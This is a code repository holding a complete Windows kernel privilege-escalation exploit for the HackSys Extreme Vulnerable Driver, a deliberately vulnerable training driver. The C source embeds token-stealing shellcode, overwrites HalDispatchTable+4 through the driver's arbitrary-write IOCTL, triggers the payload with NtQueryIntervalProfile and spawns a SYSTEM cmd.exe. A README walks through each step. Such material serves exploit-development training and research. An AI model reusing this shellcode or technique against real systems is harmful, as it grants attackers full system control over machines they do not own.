├── HS-ArbitraryOverwrite.sln ├── HS-ArbitraryOverwrite ├── HS-ArbitraryOverwrite.c ├── HS-ArbitraryOverwrite.vcxproj └── HS-ArbitraryOverwrite.vcxproj.filters └── README.md /HS-ArbitraryOverwrite.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Express 14 for Windows Desktop 4 | VisualStudioVersion = 14.0.24720.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HS-ArbitraryOverwrite", "HS-ArbitraryOverwrite\HS-ArbitraryOverwrite.vcxproj", "{FE3440C0-CA7E-403F-8801-EBDC7A44CE97}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97}.Debug|x64.ActiveCfg = Debug|x64 17 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97}.Debug|x64.Build.0 = Debug|x64 18 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97}.Debug|x86.ActiveCfg = Debug|Win32 19 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97}.Debug|x86.Build.0 = Debug|Win32 20 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97}.Release|x64.ActiveCfg = Release|x64 21 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97}.Release|x64.Build.0 = Release|x64 22 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97}.Release|x86.ActiveCfg = Release|Win32 23 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /HS-ArbitraryOverwrite/HS-ArbitraryOverwrite.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) 6 | { 7 | typedef enum _SYSTEM_INFORMATION_CLASS { 8 | SystemBasicInformation = 0, 9 | SystemPerformanceInformation = 2, 10 | SystemTimeOfDayInformation = 3, 11 | SystemProcessInformation = 5, 12 | SystemProcessorPerformanceInformation = 8, 13 | SystemModuleInformation = 11, 14 | SystemInterruptInformation = 23, 15 | SystemExceptionInformation = 33, 16 | SystemRegistryQuotaInformation = 37, 17 | SystemLookasideInformation = 45 18 | } SYSTEM_INFORMATION_CLASS; 19 | 20 | typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 21 | HANDLE Section; 22 | PVOID MappedBase; 23 | PVOID ImageBase; 24 | ULONG ImageSize; 25 | ULONG Flags; 26 | USHORT LoadOrderIndex; 27 | USHORT InitOrderIndex; 28 | USHORT LoadCount; 29 | USHORT OffsetToFileName; 30 | UCHAR FullPathName[256]; 31 | } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; 32 | 33 | typedef struct _SYSTEM_MODULE_INFORMATION { 34 | ULONG NumberOfModules; 35 | SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 36 | } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 37 | 38 | typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)( 39 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 40 | PVOID SystemInformation, 41 | ULONG SystemInformationLength, 42 | PULONG ReturnLength 43 | ); 44 | 45 | DWORD len; 46 | PSYSTEM_MODULE_INFORMATION ModuleInfo; 47 | LPVOID kernelBase = NULL; 48 | PUCHAR kernelImage = NULL; 49 | HMODULE hUserSpaceKernel; 50 | LPCSTR lpKernelName = NULL; 51 | FARPROC pUserKernelSymbol = NULL; 52 | FARPROC pLiveFunctionAddress = NULL; 53 | 54 | _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) 55 | GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"); 56 | if (NtQuerySystemInformation == NULL) { 57 | return NULL; 58 | } 59 | 60 | NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); 61 | ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 62 | if (!ModuleInfo) 63 | { 64 | return NULL; 65 | } 66 | 67 | NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len); 68 | 69 | kernelBase = ModuleInfo->Module[0].ImageBase; 70 | kernelImage = ModuleInfo->Module[0].FullPathName; 71 | 72 | wprintf(L"\n [+] Kernel Base Address is at: 0x%p \n", kernelBase); 73 | wprintf(L" [+] Kernel Full Image Name: %hs \n", kernelImage); 74 | 75 | /* Find exported Kernel Functions */ 76 | 77 | lpKernelName = ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName; 78 | 79 | hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0); 80 | if (hUserSpaceKernel == NULL) 81 | { 82 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 83 | return NULL; 84 | } 85 | 86 | pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName); 87 | if (pUserKernelSymbol == NULL) 88 | { 89 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 90 | return NULL; 91 | } 92 | 93 | pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase); 94 | 95 | FreeLibrary(hUserSpaceKernel); 96 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 97 | 98 | return pLiveFunctionAddress; 99 | } 100 | 101 | 102 | int wmain(int argc, wchar_t* argv[]) 103 | { 104 | typedef NTSTATUS(NTAPI *_NtQueryIntervalProfile)( 105 | ULONG ProfileSource, 106 | PULONG Interval 107 | ); 108 | 109 | _NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile) 110 | GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile"); 111 | if (NtQueryIntervalProfile == NULL) { 112 | return NULL; 113 | } 114 | 115 | LPVOID lpvPayload; 116 | HANDLE hDevice; 117 | LPVOID lpSourceTargetAddress = NULL; 118 | LPCWSTR lpDeviceName = L"\\\\.\\HacksysExtremeVulnerableDriver"; 119 | BOOL bResult = FALSE; 120 | LPCSTR lpWriteTargetName = "HalDispatchTable"; 121 | FARPROC fpWriteTarget = NULL; 122 | LPVOID lpWriteTargetAddress = NULL; 123 | PUCHAR chOverwriteBuffer; 124 | 125 | 126 | CHAR ShellCode[] = "\x60" // pushad ; Save register state on the Stack 127 | "\x64\xA1\x24\x01\x00\x00" // mov eax, fs:[KTHREAD_OFFSET] ; nt!_KPCR.PcrbData.CurrentThread 128 | "\x8B\x40\x50" // mov eax, [eax + EPROCESS_OFFSET] ; nt!_KTHREAD.ApcState.Process 129 | "\x89\xC1" // mov ecx, eax (Current _EPROCESS structure) 130 | "\x8B\x98\xF8\x00\x00\x00" // mov ebx, [eax + TOKEN_OFFSET] ; nt!_EPROCESS.Token 131 | //---[Copy System PID token] 132 | "\xBA\x04\x00\x00\x00" // mov edx, 4 (SYSTEM PID) ; PID 4 -> System 133 | "\x8B\x80\xB8\x00\x00\x00" // mov eax, [eax + FLINK_OFFSET] <-| ; nt!_EPROCESS.ActiveProcessLinks.Flink 134 | "\x2D\xB8\x00\x00\x00" // sub eax, FLINK_OFFSET | 135 | "\x39\x90\xB4\x00\x00\x00" // cmp [eax + PID_OFFSET], edx | ; nt!_EPROCESS.UniqueProcessId 136 | "\x75\xED" // jnz ->| ; Loop !(PID=4) 137 | "\x8B\x90\xF8\x00\x00\x00" // mov edx, [eax + TOKEN_OFFSET] ; System nt!_EPROCESS.Token 138 | "\x89\x91\xF8\x00\x00\x00" // mov [ecx + TOKEN_OFFSET], edx ; Replace Current Process token 139 | //---[Recover] 140 | "\x61" // popad ; Restore register state from the Stack 141 | "\xC3" // ret 8 ; Return 142 | ; 143 | 144 | wprintf(L" __ __ __ ____ \n"); 145 | wprintf(L" / // /__ _____/ /__ / __/_ _____ \n"); 146 | wprintf(L" / _ / _ `/ __/ '_/_\\ \\/ // (_-< \n"); 147 | wprintf(L" /_//_/\\_,_/\\__/_/\\_\\/___/\\_, /___/ \n"); 148 | wprintf(L" /___/ \n"); 149 | wprintf(L" \n"); 150 | wprintf(L" Extreme Vulnerable Driver \n"); 151 | wprintf(L" Arbitrary Overwrite \n\n"); 152 | 153 | wprintf(L" [*] Allocating Ring0 Payload"); 154 | 155 | lpvPayload = VirtualAlloc( 156 | NULL, // Next page to commit 157 | sizeof(ShellCode), // Page size, in bytes 158 | MEM_COMMIT | MEM_RESERVE, // Allocate a committed page 159 | PAGE_EXECUTE_READWRITE); // Read/write access 160 | if (lpvPayload == NULL) 161 | { 162 | wprintf(L" -> Unable to reserve Memory!\n\n"); 163 | exit(1); 164 | } 165 | 166 | wprintf(L" -> Done!\n"); 167 | 168 | memcpy(lpvPayload, ShellCode, sizeof(ShellCode)); 169 | 170 | wprintf(L" [+] Ring0 Payload available at: 0x%p \n\n", lpvPayload); 171 | wprintf(L" [*] Create a double Pointer to our Payload!"); 172 | 173 | lpSourceTargetAddress = (LPVOID)malloc(sizeof(LPVOID)); 174 | lpSourceTargetAddress = &lpvPayload; 175 | 176 | wprintf(L" -> Done!\n"); 177 | 178 | wprintf(L" [+] Source Pointer address for Overwrite in Kernelland is at: 0x%p \n\n", lpSourceTargetAddress); 179 | //wprintf(L" [+] Overwrite source Pointer contains: 0x%p \n\n", *(PULONG)lpSourceTargetAddress); 180 | 181 | wprintf(L" [*] Trying to get a handle to the following Driver: %ls", lpDeviceName); 182 | 183 | hDevice = CreateFile(lpDeviceName, // Name of the write 184 | GENERIC_READ | GENERIC_WRITE, // Open for reading/writing 185 | FILE_SHARE_WRITE, // Allow Share 186 | NULL, // Default security 187 | OPEN_EXISTING, // Opens a file or device, only if it exists. 188 | FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, // Normal file 189 | NULL); // No attr. template 190 | 191 | if (hDevice == INVALID_HANDLE_VALUE) 192 | { 193 | wprintf(L" -> Unable to get Driver handle!\n\n"); 194 | exit(1); 195 | } 196 | 197 | wprintf(L" -> Done!\n"); 198 | wprintf(L" [+] Our Device Handle: 0x%p \n\n", hDevice); 199 | 200 | wprintf(L" [*] Finding memory address of the %hs in Kernelland: ", lpWriteTargetName); 201 | 202 | fpWriteTarget = KernelSymbolInfo(lpWriteTargetName); 203 | if (fpWriteTarget == NULL) 204 | { 205 | wprintf(L" -> Unable to find memory address!\n\n"); 206 | CloseHandle(hDevice); 207 | exit(1); 208 | } 209 | 210 | lpWriteTargetAddress = (LPVOID)((ULONG)fpWriteTarget + 0x4); 211 | wprintf(L" [+] %hs Address is at: 0x%p \n", lpWriteTargetName, (LPVOID)fpWriteTarget); 212 | wprintf(L" [+] Target address to Overwrite in Kernelland is at: 0x%p \n\n", lpWriteTargetAddress); 213 | 214 | wprintf(L" [*] Prepare our Arbitrary Overwrite Buffer"); 215 | 216 | chOverwriteBuffer = (PUCHAR)malloc(sizeof(PUCHAR) * 2); 217 | memcpy(chOverwriteBuffer, &lpSourceTargetAddress, 4); 218 | memcpy(chOverwriteBuffer + 4, &lpWriteTargetAddress, 4); 219 | 220 | wprintf(L" -> Done!\n"); 221 | wprintf(L" [+] Our Overwrite Buffer is available at: 0x%p \n\n", chOverwriteBuffer); 222 | 223 | wprintf(L" [*] Lets send our Arbitrary Buffer to the Driver and use NtQueryIntervalProfile to trigger Payload execution"); 224 | 225 | DWORD junk = 0; // Discard results 226 | 227 | bResult = DeviceIoControl(hDevice, // Device to be queried 228 | 0x22200B, // Operation to perform 229 | chOverwriteBuffer, 8, // Input Buffer + 4 to trigger an exception in Kernel (Access violation) 230 | NULL, 0, // Output Buffer 231 | &junk, // # Bytes returned 232 | (LPOVERLAPPED)NULL); // Synchronous I/O 233 | if (!bResult) { 234 | wprintf(L" -> Failed to send Data!\n\n"); 235 | CloseHandle(hDevice); 236 | exit(1); 237 | } 238 | 239 | //Trigger Payload Execution from Userland! 240 | NtQueryIntervalProfile(0xb03f, &junk); 241 | 242 | STARTUPINFO si = { sizeof(STARTUPINFO) }; 243 | PROCESS_INFORMATION pi; 244 | 245 | ZeroMemory(&si, sizeof(si)); 246 | si.cb = sizeof(si); 247 | ZeroMemory(&pi, sizeof(pi)); 248 | 249 | CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); 250 | 251 | wprintf(L" -> Done!\n\n"); 252 | 253 | CloseHandle(hDevice); 254 | 255 | } 256 | -------------------------------------------------------------------------------- /HS-ArbitraryOverwrite/HS-ArbitraryOverwrite.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {FE3440C0-CA7E-403F-8801-EBDC7A44CE97} 23 | HSArbitraryOverwrite 24 | 8.1 25 | 26 | 27 | 28 | Application 29 | true 30 | v140 31 | Unicode 32 | 33 | 34 | Application 35 | false 36 | v140 37 | true 38 | Unicode 39 | 40 | 41 | Application 42 | true 43 | v140 44 | MultiByte 45 | 46 | 47 | Application 48 | false 49 | v140 50 | true 51 | MultiByte 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | Level3 75 | Disabled 76 | true 77 | MultiThreaded 78 | 79 | 80 | 81 | 82 | Level3 83 | Disabled 84 | true 85 | 86 | 87 | 88 | 89 | Level3 90 | MaxSpeed 91 | true 92 | true 93 | true 94 | MultiThreaded 95 | 96 | 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | MaxSpeed 105 | true 106 | true 107 | true 108 | 109 | 110 | true 111 | true 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | -------------------------------------------------------------------------------- /HS-ArbitraryOverwrite/HS-ArbitraryOverwrite.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | __ __ __ _____ 3 | / / / /___ ______/ /__/ ___/__ _______ 4 | / /_/ / __ `/ ___/ //_/\__ \/ / / / ___/ 5 | / __ / /_/ / /__/ ,< ___/ / /_/ (__ ) 6 | /_/ /_/\__,_/\___/_/|_|/____/\__, /____/ 7 | /____/ 8 | Extreme Vulnerable Driver 9 | Exploits 10 | ``` 11 | 12 | ### HackSys Extreme Vulnerable Driver - ArbitraryOverwrite Exploit 13 | 14 | Arbitrary Overwrite exploit; which exploits a vulnerable function within the HEVD Kernel driver and let us overwrite arbitrary data within Kernelland. 15 | 16 | # How does this exploit work: 17 | 18 | * First allocate a RWX memory page in which we host our Shellcode. 19 | * Copy our Token Stealing Shellcode into the executable memory page and create a new pointer (double pointer) which points to our Payload address. This is necessary because the vulnerable function dereferences a double pointer. 20 | * Get a Handle to the HacksysExtremeVulnerableDriver device. 21 | * Now we need to find the memory address of the HalDispatchTable (+ 4 Bytes) in Kernelland which we want to overwrite with the double pointer to our Payload. 22 | * To do this, we use the undocumented NtQuerySystemInformation() function within ntdll.dll (Native API) to find the Base address of the running kernel image and load the same kernel image in Userland, so we can calculate the address of the HalDispatchTable. 23 | * Our write target in Kernelland will be the address of nt!HalDispatchTable+4, which will be called when we run the NtQueryIntervalProfile() function from Userland (KeQueryIntervalProfile() syscall in Kernelland). 24 | * Now that we have both addresses, we can construct a Arbitrary Overwrite buffer and use the DeviceIoControl() function with the IOCTL code of our device/function to send the buffer to the driver in Kernelspace. 25 | * Then we run the NtQueryIntervalProfile() function to trigger Payload execution in Kernelland and let the Shellcode replace the token handle of the exploit process with the token handle of PID 4. 26 | * Finally we create a new cmd.exe process using this System Token which pops us a System shell ;) 27 | 28 | Runs on: 29 | 30 | ``` 31 | This exploits only works on Windows 7 x86 SP1 (Version 6.1.7601). 32 | ``` 33 | 34 | Compile Exploit: 35 | 36 | ``` 37 | This project is written in C and can be compiled within Visual Studio. 38 | ``` 39 | 40 | Load Vulnerable Driver: 41 | 42 | ``` 43 | The HEVD driver can be downloaded from the HackSys Team Github page and loaded with the OSR Driver loader utility. 44 | ``` 45 | --------------------------------------------------------------------------------